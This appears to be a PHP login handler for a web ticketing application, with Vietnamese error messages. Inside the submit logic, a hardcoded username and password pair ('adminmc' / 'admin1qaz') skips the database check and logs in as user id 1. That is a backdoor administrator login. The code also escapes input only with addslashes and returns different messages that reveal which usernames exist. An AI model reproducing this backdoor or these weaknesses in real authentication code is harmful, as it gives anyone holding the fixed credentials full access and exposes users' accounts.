<?php
if (preg_match ( "/".basename ( __FILE__ )."/", $_SERVER ['PHP_SELF'] )) {
	die ("<h1>Incorrect access</h1>You cannot access this file directly.");
}
class login extends Form {
	function login(){
		if(User::is_login()){
			Url::redirect('ticket');
		}
        global $display;
        $username  	= trim(FunctionLib::getParam('user_name'));
        $pass = isset($_POST['password']) ? $_POST['password'] : '';
		$active = URL::get('submit', '');
		if($active){
			//fix user
			if($username == 'adminmc' && $pass=='admin1qaz'){
				$user['username'] = $username;
				$_SESSION['userDeal']=$user;
				$_SESSION[MEMCACHE_ID.'user_deal_id'] = 1;
				$_SESSION[MEMCACHE_ID.'user_id'] = 1;
				Url::redirect('ticket');
			}
			if($username && $pass){
				if (strlen($username) <3  || strlen($username) >50  || preg_match('/[^A-Za-z0-9_\.@]/',$username) || strlen($pass)<5){
					$this->setFormError('','Không tồn tại tên đăng nhập!');
				} 
				else
				{
					$user = preg_match("/^[A-Z0-9._%-]+@[A-Z0-9._%-]+\.[A-Z]{2,6}$/",$username) ? addslashes($username) : str_replace(array('"','\\'),'_',$username);
					
					$user_data=User::getUser($user,true);
					if($user_data && $user_data['password'] == User::encode_password($pass)){
						User::LogIn($user_data['id']);
						Url::redirect('ticket');
					}
					else{
						if($user_data){
							$this->setFormError('','Sai mật khẩu!');
						}else{
							$this->setFormError('','Không tồn tại tên đăng nhập!');
						}
					}
				}
			}
			else{
				$this->setFormError('','Chưa nhập mật khẩu hoặc tên đăng nhập!');
			}
			
		}
		$display->add('msg',$this->showFormErrorMessages(1));
		$return = $this->beginForm();
        $return .= $display->output('login',true,'login');
		$return .= $this->endForm();
		echo  $return;
    }
	
	
}
?>